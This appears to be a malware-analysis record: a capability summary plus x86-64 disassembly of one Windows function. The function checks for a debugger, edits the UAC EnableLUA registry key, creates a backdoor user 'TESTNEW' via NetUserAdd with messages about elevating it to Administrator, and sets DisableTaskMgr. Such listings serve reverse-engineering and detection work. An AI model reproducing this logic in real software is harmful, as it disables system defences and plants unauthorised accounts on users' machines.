Function at 0x1400011e0
Capabilities:
Add user account
Check for debugger via api
Disable system features via registry on windows
Set registry value
Terminate process

Disassembly:
sub rsp, 0xb8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [0x140005a28]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [0x140005a28], 0
je 0x140001235
mov eax, 1
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400017c0
add rsp, 0xb8
ret
mov r9d, 0x33
lea r8, str.Warning
lea rdx, str.Are_you_sure_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
sub eax, 2
je 0x140001260
sub eax, 4
je 0x140001278
cmp eax, 1
jne 0x140001284
lea rcx, str.____User_Declined__exiting..._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.____User_Accepted__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400013a5
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x98]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x90]
lea edx, [r9 + 0xe]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14000138c
cmp dword [rsp + 0x90], 2
jne 0x140001304
lea rcx, str._i__UAC_is_enabled_with_administrative_priviledges._n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
mov byte [0x140005a2c], 1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013b1
lea rcx, str.____UAC_is_enabled_without_administrative_priviledges._n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov rcx, 0xffffffff80000002
call fcn.140001070
test al, al
je 0x140001373
lea rcx, str._i__Found_UAC_key_editing_to_allow_user_account_manipulation_n
call fcn.140001010
lea r8, str.EnableLUA
mov rcx, 0xffffffff80000002
call fcn.140001130
test al, al
lea rdx, str.____Error_occurred_while_editing_key..._n
lea rcx, str._i__Changed_UAC_key_successfully._n
cmove rcx, rdx
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013b1
lea rcx, str.____UAC_key_doesnt_exist..._n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013b1
lea rcx, str.____Error_getting_token_information:__n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013b1
lea rcx, str.____Error_opening_process_token:__n
call fcn.140001010
cmp byte [0x140005a2c], 0
je 0x140001447
xor r9d, r9d
mov dword [rsp + 0x6c], 1
lea rax, str.TESTNEW
mov dword [rsp + 0x80], 1
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x58]
lea rax, [0x140005040]
xorps xmm0, xmm0
lea edx, [r9 + 1]
mov qword [rsp + 0x60], rax
xor ecx, ecx
movdqu xmmword [rsp + 0x70], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x140001424
lea rcx, str._i__New_user_created__n
call fcn.140001010
lea rcx, str._i__Elevating_user_to_Administrator_n
call fcn.140001010
jmp 0x140001447
cmp eax, 0x8b0
jne 0x140001439
lea rcx, str.____User_already_exists..._n
call fcn.140001010
jmp 0x140001447
mov edx, eax
lea rcx, str.____Error_occured_while_creating_new_admin_user._Error:__d_n
call fcn.140001010
lea r8, str.DisableTaskMgr
mov rcx, 0xffffffff80000001
call fcn.140001070
test al, al
je 0x140001496
lea rcx, str._i__Key_exists__editing..._n
call fcn.140001010
lea r8, str.DisableTaskMgr
mov rcx, 0xffffffff80000001
call fcn.140001130
test al, al
lea rdx, str.____Error_occured_when_editing_key..._n
lea rcx, str._i__Done..._n
cmove rcx, rdx
jmp 0x14000154c
lea rcx, str.____Key_doesnt_exist__creating_now..._n
call fcn.140001010
xor ecx, ecx
mov dword [rsp + 0x90], 1
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rsp + 0x30], rcx
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001545
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x90]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableTaskMgr
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0xb0], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
lea rcx, str._i__Key_created..._n
mov rbx, qword [rsp + 0xb0]
je 0x14000154c
lea rcx, str.____Error_occured_when_creating_key..._n
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001600
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov edx, 1
lea r8d, [rdx - 2]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400017c0
add rsp, 0xb8
ret